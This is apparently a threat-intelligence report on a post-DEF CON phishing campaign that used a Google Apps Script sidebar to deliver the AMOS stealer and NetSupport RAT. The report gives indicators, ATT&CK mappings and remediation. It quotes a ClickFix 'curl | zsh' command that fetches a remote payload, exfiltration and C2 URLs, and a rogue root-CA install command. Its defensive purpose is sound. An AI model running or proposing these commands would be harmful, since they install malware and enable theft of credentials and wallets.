Post-DEF CON Phishing Campaign Abuses Google Apps Script Sidebar to Deliver AMOS Stealer and NetSupport RAT
Post-DEF CON Phishing Campaign Abuses Google Apps Script (TL-2026-2449) is a high-severity malware campaign, first published 2026-08-19. It has no confirmed attribution, affects Google Google Workspace (Docs / Apps Script), maps to 18 MITRE ATT&CK techniques (T1036.005, T1055.012, T1059.001), and is covered by 9 detection rules and 30 indicators of compromise.
Key facts for TL-2026-2449
- Threat ID
- TL-2026-2449
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-08-19
- Last reviewed
- 2026-08-19
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- cybersecurity, information technology, cryptocurrency digital assets
- Target regions
- North America
- Detection rules
- 9
- Indicators of compromise
- 30
Malware and tooling in Post-DEF CON Phishing Campaign Abuses Google Apps Script
Malware and tooling: AMOS, NetSupport RAT, NetSupport Manager
A threat actor impersonating a CoinDesk VP contacted a Huntress researcher via X (Twitter) DM after Black Hat/DEF CON 2026, sending a weaponized Google Doc whose Apps Script sidebar (DecryptPanel.html) staged a fake decryption-key/ClickFix lure delivering AMOS stealer on macOS. A follow-up DocSend-impersonation lure then delivered NetSupport RAT, a Ledger wallet implant, and a TLS-intercepting proxy to Windows victims.
How Post-DEF CON Phishing Campaign Abuses Google Apps Script works
On 2026-08-09, a Huntress security researcher was contacted on X (Twitter) by an account (@HartmansDoeke) impersonating the VP and Head of Marketing of CoinDesk, using a post-conference-planning pretext to build rapport following Black Hat/DEF CON 2026. The actor shared a Google Doc containing a custom Google Apps Script sidebar (DecryptPanel.html) that displayed the document as partially encrypted and prompted the victim to enter a 'decryption key' supplied by the actor, which was engineered to fail. The sidebar then offered two infection paths: a ClickFix-style terminal-command lure or a manual download button, for both macOS and Windows. The Apps Script code contained Russian-language comments and emojis, validated hard-coded keys, and reported victim/host information to the actor via Telegram.
On macOS, the ClickFix path executed `curl -fsSL https://apple-googleapi[.]com/i | zsh` (the endpoint also redirect-looped to localhost), while the manual path fetched a GitHub-hosted `GAPIUpdate.dmg` (ad-hoc signed, requiring a Gatekeeper bypass and sudo password) that installed the AMOS (Atomic macOS Stealer) infostealer. AMOS harvested browser credentials/cookies, cryptocurrency wallets, macOS Keychain data, and Telegram files; staged data locally at `/tmp/lksopo`; exfiltrated to `http://86.54.25[.]213/log`; and persisted via a LaunchDaemon (`/Library/LaunchDaemons/com.xdivcmp.plist`) that polled `http://192.253.248[.]181/api/v1/getscpt/<username>` for shell commands and SOCKS5 proxy activation.
On Windows, the ClickFix path ran an encrypted PowerShell downloader (BitsTransfer/Invoke-WebRequest fallback against `https://1foqo[.]lat/core4`) that pulled further encrypted stages from `2fksf[.]lat` and `3pqow[.]lat`, staging binaries disguised as `DockerDesktopSvc.exe`, `SteamClientHelperHost.exe`, and `TeraCopyMonMon.exe`. The manual path used a ClickOnce manifest (`GapiUpdate.application`) signed with a stolen Norwegian company certificate (BARNEHAGEN GUNHILDS MINNE AS) that displayed a fake 'Google Workspace Marketplace' portal while installing payloads in the background.
On 2026-08-10, after the initial lure was rejected, the same actor followed up with a second campaign masquerading as a Dropbox DocSend share (`docsend[.]online`), which used user-agent sniffing to redirect macOS victims to `apple.eu03hub[.]com` (delivering a `DocSendInstaller.zip` AMOS package) and Windows victims to `microsoft.eu02hub[.]com` (delivering `DocsendInstaller.exe`, an NSIS installer wrapping an Electron app, signed with a stolen Discord Inc. certificate, presenting a fake 5-screen Dropbox onboarding carousel). This installer profiled the host (hardware ID, hostname, username, OS build, CPU/GPU/BIOS, network adapters, memory, keyboard layout) to `https://docsend[.]web12api[.]com/api/launcher/start` and executed the JSON response as an in-memory JavaScript payload via the `Function()` constructor, with no payload written to disk. A related campaign variant used SignNow branding against the same `web12api[.]com` infrastructure (`signow[.]web12api[.]com/api/launcher/start`).
The recovered follow-on JavaScript captured a desktop screenshot, then downloaded password-protected archives from `https://eu03hub[.]com/get_file?file=X` into randomized working directories, launching each payload hidden and self-elevating via `Start-Process -Verb RunAs` after a 20-second delay. Three Windows payloads were delivered: (1) NetSupport Manager v14.10.0004, a legitimate remote-administration tool repurposed as a RAT, configured with no tray icon and all alerts disabled, communicating with `msedgewebview1[.]pro`/`msedgewebview2[.]pro` and C2 IP `87.120.104[.]88` (AS211443) over cleartext HTTP mislabeled as port 443, using a commonly-shared cracked license ID ('NSM1234') and installing a kernel-mode keyboard-filter driver (`nskbfltr.sys`); operator artifacts referenced path `C:\Users\Administrator\Desktop\2RMS\client32u.ini`. (2) A traffic-intercepting proxy disguised as a Lenovo driver (stolen, invalid Lenovo certificate) that process-hollowed `MsBuild.exe`, installed a self-signed rogue root CA (`O=Google Trust Services, CN=WR3`) into the Windows trust store via `certutil -addstore -f ROOT`, forged a `www.virustotal.com` certificate, injected a hosts-file entry redirecting `www.virustotal.com` to `127.0.0.1`, and added a 'LocalProxy' firewall rule to intercept and decrypt HTTPS traffic to VirusTotal specifically. (3) A Ledger wallet implant (same stolen Lenovo certificate, same MsBuild.exe hollowing technique) that detected `Ledger Live`/`Ledger Wallet` installations, wrote a 16-hex-character bot ID to `%APPDATA%\Ledger Live\app.crc32`, and polled `https://eu07connect[.]com/api/commands/<bot id>` roughly 18 times with no observed command response; its persistence (a Run-key entry named 'Ledger Wallet Installer') pointed at a non-functional bare MsBuild.exe.
After the malware lure was rejected, the actor pivoted to a fake $1M funding/investment pretext, likely intended to harvest credentials or PII directly. No CVE applies; this is a social-engineering delivery chain abusing a legitimate Google Workspace feature (Apps Script sidebars), not a software vulnerability. Attribution is unconfirmed: Russian-language code comments/emojis and Cyrillic characters in C2 traffic were observed, but no formal threat-actor or APT-group attribution has been made. A related, earlier campaign (reported via Haveibeensquatted/GBHackers) used similar social-engineering conference targeting to deliver a different toolset (NeedleStealer, a Rust-based stealer, and a Go-based RAT), suggesting this may be part of a broader wave of post-conference targeting of security researchers rather than an isolated incident.
MITRE ATT&CK techniques used in TL-2026-2449
Defense Evasion
T1036.005 Match Legitimate Resource Name or Location; T1055.012 Process Hollowing; T1620 Reflective Code Loading
Execution
T1059.001 PowerShell; T1059.004 Unix Shell; T1204.001 Malicious Link; T1204.002 Malicious File
Command and Control
T1071.001 Web Protocols; T1219 Remote Access Tools
Discovery
T1082 System Information Discovery
Collection
Persistence
defense-impairment
T1553.002 Code Signing; T1553.004 Install Root Certificate
Credential Access
T1555.001 Keychain; T1555.003 Credentials from Web Browsers
Initial Access
T1566.003 Spearphishing via Service
Resource Development
Affected products and versions in Post-DEF CON Phishing Campaign Abuses Google Apps Script
- Google — Google Workspace (Docs / Apps Script)
Vulnerable versions: N/A - abuse of legitimate Apps Script sidebar feature, not a version-specific flaw - Apple — macOS
Vulnerable versions: all supported versions, targeted via social engineering + Gatekeeper bypass - Microsoft — Windows
Vulnerable versions: all supported versions, targeted via social engineering + ClickOnce/UAC bypass - NetSupport Ltd — NetSupport Manager
Vulnerable versions: 14.10.0004 (cracked license, repurposed as RAT)
Remediation for Post-DEF CON Phishing Campaign Abuses Google Apps Script
Immediate actions
- Isolate any host where the ClickFix terminal/PowerShell commands, GAPIUpdate.dmg/.application, or DocsendInstaller.exe/.zip were executed and perform forensic collection
- Treat any unsolicited Google Doc/Apps Script sidebar demanding a 'decryption key' as malicious; do not enter codes or run any suggested terminal, PowerShell, or 'manual download' instructions
- Block the published C2 domains and IPs (web12api[.]com and subdomains, msedgewebview1/2[.]pro, apple-googleapi[.]com, 1foqo[.]lat, 2fksf[.]lat, 3pqow[.]lat, gapidriver[.]com, docsend[.]online) at DNS/perimeter
- Assume credential and cryptocurrency-wallet compromise on any affected host: revoke sessions, reset passwords, rotate API keys, and move wallet funds to new addresses/hardware
Workarounds
- Disable or tightly gate macOS Gatekeeper bypass prompts, sudo elevation requests, and Windows ClickOnce/UAC elevation prompts triggered by unsolicited installers
- Verify code-signing certificate validity out-of-band before trusting any installer claiming to be from Google, Dropbox/DocSend, Discord, or Lenovo
Longer-term hardening
- Deploy EDR and identity-threat-detection (ITDR) tooling, prioritizing security-industry staff who are high-value targets for post-conference social engineering
- Run security-awareness training specifically covering ClickFix-style lures and post-conference DM-based social engineering
- Restrict or monitor Google Apps Script sidebar execution and third-party script permissions within the organization's Google Workspace
Timeline of Post-DEF CON Phishing Campaign Abuses Google Apps Script
- Windows ClickFix path runs an encrypted PowerShell downloader against 1foqo[.]lat, staging further payloads from 2fksf[.]lat and 3pqow[.]lat; manual path uses a stolen-certificate-signed ClickOnce installer (GapiUpdate.application).
- macOS ClickFix path (curl|zsh) and manual GitHub-hosted GAPIUpdate.dmg both deliver the AMOS (Atomic macOS Stealer) infostealer.
- Actor shares a Google Doc embedding a custom Apps Script sidebar (DecryptPanel.html) that demands a 'decryption key' engineered to fail, then offers ClickFix or manual-download infection paths.
- Threat actor DMs a Huntress researcher on X, impersonating the VP/Head of Marketing of CoinDesk (@HartmansDoeke) using a post-conference-planning pretext following Black Hat/DEF CON 2026.
- After the malware lure is rejected, the actor pivots to a fake $1M funding/investment pretext, likely intended to harvest credentials or PII.
- Windows DocSend installer chain deploys NetSupport Manager RAT v14.10.0004, a Ledger wallet implant, and a rogue-CA traffic-intercepting proxy targeting VirusTotal checks.
- Actor follows up with a second lure masquerading as a Dropbox DocSend share (docsend[.]online), redirecting victims by user-agent to platform-specific fake DocSend installers.
- Huntress publishes a technical writeup and IOC set documenting the full campaign, authored by Principal SOC Analyst Jonathan Semon.
- Infosecurity Magazine, SC Media, IT Pro, Information Security Buzz, IT Security Guru, Paubox, and TechNadu report on the campaign.
Sources cited for Post-DEF CON Phishing Campaign Abuses Google Apps Script
- Post-DEF CON Phishing Uses Google Doc Apps Script to Deliver Malware
- Def Con Attendees Targeted by Persistent Phishing Campaign
- Black Hat/DEF CON attendees targeted in malware scheme with Google Doc lure
- Be careful who you talk to at conferences: Security researchers claim they were targeted by cyber criminals after DEF CON event
- Post-DEF CON Phishing Campaign Delivered AMOS And NetSupport Malware
- Fake Crypto Exec Used Booby-Trapped Google Doc to Target Security Researcher After DEF CON
- Fake CoinDesk Exec targets Def Con researcher with phishing scheme
- Black Hat/DEF CON attendees targeted with malware-laced Google Docs
- Fake Security Conference Lure Targets Researchers via Google Docs
More in malware
- Deceptive Android Apps Exploit Google Play Early Access to Reach Mobile Users
- Malspam campaign weaponizes business-complaint lures to deliver PureRAT and PureLogs
- Phishing campaign targeting Japanese/Korean orgs delivering PureRAT / PureLogs RATs via ZIP archives and diverse loaders (DLL side-loading, Donut, Python, process hollowing, BYOVD)
- SectopRAT (ArechClient2) Variant Hidden Inside Legitimate Italian Digital-Audio Software via FrameworkBase.dll Tampering
- Multi-Stage Abuse of Legitimate Remote Access Tools (ConnectWise, N-Able, SimpleHelp, Datto RMM, GoTo) by Initial Access Brokers
Detection coverage for TL-2026-2449
As of 2026-08-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2449 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-2449
1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.